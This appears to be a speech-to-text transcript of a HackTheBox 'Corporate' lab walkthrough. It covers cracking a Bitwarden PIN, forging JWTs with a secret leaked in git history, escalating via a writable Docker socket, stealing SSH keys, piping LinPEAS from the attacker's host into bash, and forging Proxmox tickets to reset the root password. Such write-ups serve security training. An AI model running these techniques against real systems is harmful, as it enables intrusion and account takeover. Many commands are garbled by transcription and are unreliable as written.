this may not be the repository I saw this is one that will work we have to edit the source but when I was recording the video I found a much better program I haven't actually ran it yet um because this one we have to edit it and manly put like the email and everything else but I'm G to go back and maybe I need a space um try this there we go this is a much better one and it also has a better way to extract all the data right so if we go here we can say hey Firefox if we type about debugging let's try that and then we want to click on this Firefox go to the extension and click inspect and then go to the console and if we go to the console and type this we probably have to say allow pasting or something uh maybe that did not work I thought it would click on the bit Wen I am not sure why that's not

HackTheBox - Corporate (FIXED)


working uh they have instructions on disk as well but I didn't have actually did on this method I just saw this uh GitHub page and thought this would be a cool thing to show but um C the demo Gods maybe and we have the brute forcer now there's one cool thing about rust of well one thing you should know is if you were compiling this manually so let's do a get clone real quick on this so we can build it if you just do what is it cargo build it's going to build it in debug mode which is infinitely slower than um it being in release mode so I'm going to build it in both and then we're going to run a time just so you can see the difference so that way if you ever build rust apps on your own um and you're getting like it being slower than you expect you know maybe I should make sure this is in release mode right so we're

HackTheBox - Corporate (FIXED)


going to do this um once it's done we can run the tool right so we go to Target and I'm going to go to release and then bit word and pin and we need what is it D- email let's go cat Crypt notes email is lwin Jones and then I think it's Dash do they say on this easily um- e for encrypt and M is email we can do- m and- e I'm going to paste this and see if it works uh Panic invalid bite that's not good I am not sure why this is not working Owen Jones 2 does it begin with two dot it does they had it in double quotes I'm going to try that real quick I don't think that's the issue um wonder if this is the invalid bite that does not look right huh I screwed something up when I did those quotes I guess it does not like double qus for that CU there's probably a quot somewhere in here that it used okay so

HackTheBox - Corporate (FIXED)


it's probably processing that back tick when I do double quotes so I'm going to switch to the other brute forcer and we'll see if that one works uh because that looks like it's supposed to be base 64 which would be really odd let's go back to the data actually um here's the data he dump data zero p is there a back tick here where was that back tick 2D so DJ G DJ G I don't see a back deck so that must be how we were EX rating the data that is bizarre um f is equal to open we'll call this hash do out we need to write binary f. right let's do this f. right get rid of the hex stump that should be fine f. close and then if we cat hash where are we on this python uh there cat has.

HackTheBox - Corporate (FIXED)


out okay let's do strings encoding little Indian grab this we don't have the back dick so however we grab that out I don't know what we screwed up we screwed something up uh let's go back here here let's do V crypto notes let's fix this we definitely want to edit this take that out Force the right okay so let's go back there and I'm going to do the better hash there we go that is what I expected awesome and we see that cracked relatively quickly so I'm going to copy this and we're going to go in the debug as well and we're going to crack it with both so let's go to bit word and pin Target debug and we're going to run Boo and we'll see one cracks extremely quick you can see how many hashes per second release was going debug says it's going fast but it's like four five six you can see it's like half

HackTheBox - Corporate (FIXED)


a hash a second that is incredibly slow compared to release right I think this will take like probably six or seven minutes maybe even longer estimated 8 hours um but that's just eight hours to do the entire key space since it's going sequentially 02 is it where is the P found yeah 02 is pretty early so it's not going to actually take the full8 hours but you can see how slow that is um I'm going to go and insert the pin click on unlock and if we go over to Vault we can see we have get and it's going to get.

HackTheBox - Corporate (FIXED)


corporate. htb so this is what we have to access and there's a piece of this box that I don't exactly like that took me a little while to figure out because I can't access get this way and we can't also access it from the workstation um if I can remember which terminal it's probably the one that says SSH there I would expect I could do like curl and we can mainly do the host head right um what is it get. corporate. htb on 10901 like I would expect this should return the page but we just get the Forbidden but if we run this on my host so let me just go up here we'll do this we actually get the HTML so what's happening here is the open resty server is configured to only allow the 108 subnet access to get not the um 109 subnet which is where the workstation exist so let's do 10901 that's going to be get corporate

HackTheBox - Corporate (FIXED)


htb and we have to make sure we remove it from the 1010 111 so now in Firefox when we go to get corporate htb we're still getting forbidden I'm going to do control shift R to force a refresh and there we go we get access to get we can do sign in and we already knew his password but we have the um onetime pin that's going to be the unique thing so we'll do Ln Jones and the password corate starter 44987 try to log in and then it wants this PIN code and if this doesn't work um make sure your computer's time is in sync um you can either just like do a date command here and then U during your machine or you could get it from the actual um Banner on or the headers on the web server right because the date's leaked here so just make sure you're within like 15 seconds of the host so your TTP works and then you get logged into the get server and there's really

HackTheBox - Corporate (FIXED)


two things we can do from this we can either look for vulnerabilities in the code and try to exploit it which would land us on 10901 or we can pillage it looking for any type of secret um that may be in a commit now this is a very tedious process looking through all the commits manually so what I want to do is get all these on my local host and then I can just GP and for Strings right so that's what I'm going to do I'm going to go into g t into the settings and we're going to add our SSH key here so this way we can just clone all the repositories to our box so we'll just do key name SSH and let us um cat. SSH ID RSA Pub grab this key put it in and we should be able to clone um Reapers now so let's test this out let's go to support and then we can clone this so I'm going to make a directory called Source go in it get clone and it looks like it is cloning

HackTheBox - Corporate (FIXED)


just fine so let's go and get our people in corporate SSL so our people and then corporate SSO as well and when I was doing the Box the first time my first thought was let's find an automated tool to scan all this and truffle hog is normally my go-to but I don't think it finds anything let's just get the release and see if it will find anything on the latest so I'm going to download this let's do amd64 copy link where is it w get so let's do Atara XJ VF on is it just xvf on truffle hog and now we should be able to do truffle hog get file and specify each of these directories so we can do uh our people first and we see unverified Secrets zero we can also pipe this to JQ which makes it a little bit prettier or maybe not because it has that but we have unverified secrets and verified Secrets at zero so it did not find anything let's try some other ones so we can do

HackTheBox - Corporate (FIXED)


uh corporate SSO see if it finds anything here unverified secret zero um let's try support and again we have nothing found through an automated tool so when I was doing the box I just manually looked through commits and eventually had found it I think if we went to like our people looked at package.json this is one of the files I would typically look at and go to history then we' see it if we just look through these we eventually find one that has a JW UT secret here and I was curious on a better way to search this right um I thought truffle hog would find this but it didn't so I was searching like um let's see search get for Secrets I think this search will bring up the blog post I want uh maybe this top one or this let's see get Secrets scan this does not look like it that's talking about truffle hog

HackTheBox - Corporate (FIXED)


um regx entropy false I don't think that's it that's definitely not it this is it probably this gray corner and this has a bunch of Handy scripts but this one really caught my eye um this get grap feature and doing all revisions so let's go into one of these and do our people I'm going to paste this and what do we want our search pattern to be I'm going to do um secret because that's a common one and we know I already showed it I'm going to do d i to make a case insensitive and then we can see all the times secret has appeared in the source code and then this one time right here we have JWT secret as this so we have to think back what can we do with a JWT secret well um let's see do we have a good one right here this is what the JWT currently contains when we log in so if we do Echo paste this JQ

HackTheBox - Corporate (FIXED)


dot um we can now Forge this so we could remove required current password equals true and then what this should do is when we go to the password thing not require us to enter the current password so if we do that and combine it with changing the um username to be someone else we can now change someone's password right because we can create a cookie that looks as them remove require current password go to the password change portal and change the password and we can also change the role so what do we want to do um by what do we accomplish by doing that I guess is my question uh let's go back to where we have SSH if I can find it right here so if we can impersonate any user we want we could um log into other people's workstation right so I'm G to cat Etsy passwd to see what other users are on the box and we don't even see

HackTheBox - Corporate (FIXED)


lwin and that's because it's through um some type of ldap that is in Etsy sssd but we can't view that um there is a command called get ENT and then we can do get n Etsy or I think it's just get past WD and does this show us more users it does not um let's see group is it groups let's do get an group it so we can list all members of groups easily so we have Ln Mills Ln Jones Etc right so we can change this to become another group what group do we want to become part of well in this step we have to enumerate the box to find anything else that's valuable um what if we just do an group does this list all the groups thisis admin I don't see it here no get an h dasel no service service usage that doesn't help maybe we can specify it by numerical so get ENT group 503 three whoops there it is and that works

HackTheBox - Corporate (FIXED)


awesome so 500 is this admin is 409 anything it is not so I can do 500 501 502 503 4 5 six and enumerate this way so we could do find sl- group sis admin they can probably just pseudo on the box um sis admin owns my user. text interesting enough let's see is there anything by Finance Finance nothing and let's do engineer uh interesting we can access the docker socket file so my first guess is let's try becoming a CIS admin and then secondly if that doesn't work we can probably just switch to an engineer and then execute this Docker socket so let's go um to 500 and let's try to become we'll do Stevie Rosen bomb so let us grab our corporate SSO and I'm going to go to JWT doio we will past our thing here I'm going to say a rooll is going to be CIS admin and then we need to update our name and email so I'm going to copy this and we can put it here I'm going to

HackTheBox - Corporate (FIXED)


do the casing just like they have it and ID what is Stevie's ID um get an user Stevie Rosen bomb uh thought that was how I did it ID Stevie Rosen bomb there we go 57 so 07 we can change this to false and then we want to sign this so where was our signing key is that this window that is not our people we can grab this I guess we have to hope that um this Dev secret is still valid we never actually validated it you could validate it before you edit the whole um JWT you could just test to make sure it's valid I pretty sure it is so we grab this and let us update our JWT or we can just log no we can't log in we just have to go to SSO uh corporate htb let's just do it a new window then this is where we put the token so storage let's add corporate SSO the value is that make sure the path is set to just slash refresh go to password reset and

HackTheBox - Corporate (FIXED)


I'm going to change the password to password uh we can't change the password to high privileged accounts apparently so let's change a user and we're going to go to um what is it one of the engineers so that was group 502 I think and we can say ID we'll do Arc Ryan this is going to be idid 5042 so go back to Firefox 5042 Arc Ryan and it's an engineer right yes okay grab this cookies change that refresh I'm going to change the password to password it looks like it's been changed so theoretically we should now be able to do SSH AR Ryan 10904 type in password does not look like that worked let's see I click on our people let's make sure we're the user we think we are uh corporate SSO paste that log in okay that does look fine password reset let's just do password one like that set set change okay I'm not sure exactly what happened maybe I tyo on that login form

HackTheBox - Corporate (FIXED)


but here we go we get logged in as AR Ryan and we have access to the docker sock right if I just do groups I am a member of engineer and what is it run doer. sock um yes we can access we can write to the socket that is the key piece we have right access so let's try running Docker I'm going to do a Docker ps-8 to list running containers and we don't have anything we can do images to show saved images on the box and it looks like Docker is pretty much completely unconfigured now this lab doesn't have in uh internet so we can't just do like a Docker pole Alpine here because it can't talk to the registry so let's go do that on our local host and then we will import it I'm just going to go to a new pan let's do Docker pole Alpine and the reason why Everyone likes using Alpine is because it's a super small image it's really like tiny so it makes

HackTheBox - Corporate (FIXED)


it easy to copy around so I'm going to do Docker save Alpine on the latest to Alpine do tar and let's do a duhs to see how big this is it's only eight Megs right so let's do we can prob just copy Alpine dot to dubdub dub because I think I have a web server already running uh let's let's go to the ss8 session WG 101148 8000 Alpine doar it's going to download that and now we can do a Docker load dasi Alpine doar and now we can Docker images we see it's there let's do a run and we're going to mount the slash of my host to SL Mount of the docker image and let's just call it Alpine go to bash or sh we can go oh we don't even have bash and Alpine uh go in Mount and we have it so if we do CH root on this now we are root on the box and this is the um VM so if we wanted to we could go into SSH and then drop a new key and then SSH

HackTheBox - Corporate (FIXED)


as rout just to have a clean terminal um let's do sh key gen uh- file and I'll call this corporate cat corporate. Pub let's grab this key V authorized Keys we can paste PS in and now if we do sh- corporate then rout at 10904 this should let us in there we go so now we're not in the CH rooted environment um I guess it's a little bit cleaner I'm not exactly positive but let's see what do we want to do from rout the first thing that comes to mind is going in the sssd config because this is how it talks to the L app server for all this to magically work if we look at it we can see there is the all token this and we have the autobind user so what I'm going to do is try to SSH with this account so we're going to Dosh autobind at 10901 and see if that alt token works I'm just pasting it there to confirm that is my clipboard and it did not the

HackTheBox - Corporate (FIXED)


other thing we can do is probably just switch to any user we want right um if we do su was it Arc Ryan as a user we can magically become them so what I want to do is become a CIS admin and the CIS admin was group 500 so we can do get an group 500 and we have to do 500 because if we type CIS admin CIS admin is also a Linux group of 1,000 and that has no users in it but 500 is from ldap and we have two users Amy and Stevie so let's go and Su to see if we can switch to Amy and now this will Auto Mount Amy's home directory and we we do a lsla there is a SSH directory and an id. RSA and also a config if we look at the config um it uses the user assist admin we cat ID RSA we have the key so I'm going to save this key and we're going to see if we can SSH to 10901 with this so V sis admin paste this delete that trailing line break s mods

HackTheBox - Corporate (FIXED)


600 and we probably should have named that like CIS admin. RSA or something but that's fine sh- I CIS admin sis admin at 10901 and we get logged into the main box so normally CIS admin can run pseudo so that's going to be the first thing I try but we need to know the CIS admin's password and since we used a SSH key to get in we do not know the password for CIS admin I'm going to just run lint PE next so we're going to copy opt peas Lin peas into dubdub dub and we're going to see what Lin peas has to find so curl 10148 8000 Lin peas. sh type it over to bash and I'm going to pause a video while this runs it shouldn't take too long probably 2 to three minutes and now that Lin peas is done let's go over the results I'm just going to copy this so we can quickly jump back so searching for password doesn't look like there's

HackTheBox - Corporate (FIXED)


anything no history file hidden files we do see things like Vlog PVE this is going to be relative uh related to proxmox we also have PVE cluster um searching that's normal and looking at backup files we have some interesting ones we have ver backups proxmox corporate um there's some anable stuff here so we should probably look at oh wait this is user lib prox Mo stuff what is this we got a backup script. J2 that does not look standard uh let's see I think I may just copy this to a text file so we can go over it um when I was originally doing the box I did not see that anable stuff so let's take a look uh let's see V notes we can just paste that uh grap an notes d i there we go what is this J2 script see all the passwords look like they're going to be in variables I don't see this being related to The Box this is probably just something that prox MOX itself puts

HackTheBox - Corporate (FIXED)


out I don't know but let's look at the other backups so if we cat notes where was the actual proxmox backup ver backups so if we go to ver backups and list we can see uh two things that stand out all these I say they don't stand out because um it's just standard backup things right but these are not like if we could get a backup of the D package status that doesn't really buy us anything however this proxmox backup corporate that is huge so let's go ahead and download these two files I'm going to take the lazy route like I normally do we're just going to stand up a HTTP server here so we'll do that on 901 uh python 3-m 90001 okay so let's do a WG HTTP 10901 91 and download this and I also want to get this PVE host so once that one's done we will download the second one I can probably just do that here W

HackTheBox - Corporate (FIXED)


get http 10901 91 save that okay we got bir those files and let's take a look um make backups go in here and we can do a t XJ VF is it xvf to extract that and then we have ver temp proxmox and a few TS so let's do for I in ls. tar do txf I done so now we have a list of all those files if we go into Etsy we have the uh backup of etsy if we C is there a shadow there is and we could try cracking these I did before and I could not crack either root or assist admin it's also in a really good um hashing so chances are we won't be able to crack those it goes really slow if it was like md5 sum or something that would hint at that's what we're supposed to do we could look at other things here but I don't know if there's really anything too interesting in Etsy uh if we look let's see gra PV there is a PVE Direct directory but it

HackTheBox - Corporate (FIXED)


is empty uh PVE would be proxmox if I do pr there's nothing related to proxmox there so let's now go over into user see what's here user local bin just a get t uh let's do VAR stilling user nothing really too interesting here I think uh we could look at this config DB and that is a lot of data we do have off key.

HackTheBox - Corporate (FIXED)


key so it looks like we have something interesting there we should extract this um let's see insert into tree I do select star from Tre okay so that's the off key. Pub and this is off key. key so we can grab this RSA key and I'm actually just finding this for the first time I think this o key is also stored somewhere else so we're going to go ahead and check that real quick um let's see V key. key uh let's paste what we had okay so I'm going to go out of our attemp and let's extract the other backup because this is where I saw the first time um ter xvf PVE host so now the PVE host has the Etsy directory and then in PVE we have the off key as well so if we go to priv we have off key. key and I want to say these may be the same file or the same thing see gtre H yeah those are definitely the

HackTheBox - Corporate (FIXED)


same so you can either get the off key out of that um SQL backup database or you can get it from um the other backup file so there's two places you can get this off key and what this off key allows us to do is it allows us to actually Forge tokens or Forge cookies for the proxx API so if we and Googled let's say like exploting proxmox vulnerabilities if I can spell that would be great uh let's see is there one here this is a really good post um there's a lot of data here they do a lot of exploit in order to get the key so if we scroll down I'm not going to read this whole thing but um they have a vulnerability where does it show it better they have a local file read vulnerability right here so we can see they're doing a weird request and then they're getting data back right here so you get the log it's reading off this file and it gets the ety passwd and

HackTheBox - Corporate (FIXED)


essentially one in this blog post they're doing is using this to grab the priv key and then using that priv key to forge a cookie so you can actually access proxmox so we're just going to take the code that um forges the cookie so I'm going to grab this generate ticket real quick and then let's do V test.py and we can paste this and we have to import a few things to use this so let's see um we can just get rid of logging uh delete that delete that delete that delete that there we go uh let's see they use temp file they also use um subprocess and base 64 okay I think those are the modules we need and what we want to do is change how we get this off key path so I'm just going to remove this and we're going to specify the off key file because this open cell is using file names anyways so we'll just make sure this is always Al key.

HackTheBox - Corporate (FIXED)


key and now we can do a print generate ticket like this and if we execute this uh we have to import time I missed One Import hopefully just one there we go so the other issue we have is this is PMG this is the mail Gateway we're actually doing PVE and I forget exactly what uh PVE stands for uh it's probably virtual something so let's Google PVE proxmox um virtual environment so we want to change PMG because we're not talking to the PMG API we're talking to the PVE API and now we have a signed cookie so if we go back to the blog post to see exactly how to interact with it it's a simple HTTP request um or we can just do let's see wonder if we can just Google prox MOX API here we go is this going to tell me exactly how to use it access password let's let's see it's the HTTP put yeah API 2 Json access password so

HackTheBox - Corporate (FIXED)


that is where we want to access um we have to stand up a socks proxy because prox MOX is listening on Port 806 and that's not open to us right I wonder if it is on 10901 is it 806 it looks like it may be yeah so we can actually access it on 806 so that's how we'll access it so we'll do htps 10901 806 if we couldn't do it this way we could have um switched over and uh did a socks proxy with our SSH connection and I don't feel like configuring the proxy so I'm just going to go in repeater tab let's take this uh we're going to click up here and we're going to change it manually so 10901 there we go and we just want to do a get on slash for now we don't need the Hearst don't need any of this what do we need uh cookies let's go back to the blog post so they use cookie accept language and close so let's make sure we have those headers so cookie

HackTheBox - Corporate (FIXED)


PVE off cookie paste that and I think they did in equals right yeah okay we send this oh we don't even need those two other headers so we get access here if we didn't have this cookie let's just delete it we still get a 200 okay what if we did API or is it API 2jon access password we try accessing this we have no ticket we're going to put this here and we have uh method get access password not implemented so it wants a put request and I got that because it's HTTP put right here and we get permission denied invalid csrf token and if we went back to how they're um doing this exploit the csrf gets pulled by just doing a get on slash so right here the grabbing the csrf prevention token right there where is the actual get um let's see request content get Target URL we look what Target URL is it's on exploit let's just do a get on

HackTheBox - Corporate (FIXED)


slash so we do get slash search for csrf and we have a csrf prevention token so we can just paste that there and then copy this okay and we can go back to that part request and I didn't mention it this is a way to change passwords in proxmox this is I think the only way we can really escalate to get code execution I'll go over into one other thing I played with other than this after we get it working but we send this now since we have the csrf prevention token it just says property is missing that is not optional so let's go and see what we need um it wants password and then the full user ID and name at realm format so we can do password is equal to uh let's just do password one like that and user ID is equal to root at Pam that is pulled right here so if we run this we have data null and then if I go back here let's do an Su and I'm going

HackTheBox - Corporate (FIXED)


to copy this password paste it and we change the password so that is how to do the Box uh the other thing I was playing a lot with is when I was clicking around on the API I had noticed underneath of nodes there was a execute option where is that a nodes execute and I spent a lot of time trying to get this working but it turns out execute probably is not what we expect we see it wants a Json encoded array of commands each with a ARG method and path right but we could try playing with it so in order to get this working we need to know what node is so if we go up to let's see is it cluster and then where is it there was a list somewhere I do not see it cluster config API version nodes let's see what this is let's do a get right here this may be where I was looking at let's just copy it change this to a

HackTheBox - Corporate (FIXED)


git and it's so nice the csrf does not update unexpected content forget there we go data nothing maybe it's down here oh resources this is it because we return like a node list so we get cluster resources so let's copy this what do I have copied up to Cluster paste and this is going to list all the resources we have so this is Corporate workstation 4 right and it's using qmu as the type and then we have a second VM just called corporate and I don't know if it has a type oh type is node so this is going to be the virtual host so we want to use corporate as the node name was that here uh no let's just go back over here and we could do let's do nodes config so let's validate we have it six um correct so I'm going to copy this and then we're just going to to do a corporate config and it is a success if we had something that did not exist it'll

HackTheBox - Corporate (FIXED)


probably say can't find node right it's waiting does it actually return anything if that's wrong yeah host lookup name failed so a node is definitely going to be corporate and we want to try to run execute so this piece confused me like the data it has so I just want to see if we can get it validated um we'll do corporate execute and then how does it want this formatted right a Json encoded array of commands so it's probably going to be like a dictionary and I wonder if we want commands as equal to and then like that or a list and then a dictionary and then it once args will'll give it nothing um method we do a get and then path I'm going to try user bin who am I unexpected word content from method get if I delete this that did not work oh uh this has to be a post request so we'll do a post uh property is missing I think this needs to be

HackTheBox - Corporate (FIXED)


commands is equal to that there we go so we have parameter validation failed let's see commands is not a valid array 400 type check oh the field argument failed so it's not a string let's just give it a blank thing um not valid Json maybe it's a dictionary there we go so we have passed all the like um validation and we see no Handler for nodes corporate user bin who am I so at this point I decided execute is definitely not um like command execution it's probably just like executing a web hook or something like that so um hope you enjoyed that little tidbit at the end of just playing with the API that'll be the video though so take care and I will see you all next time

HackTheBox - Corporate (FIXED)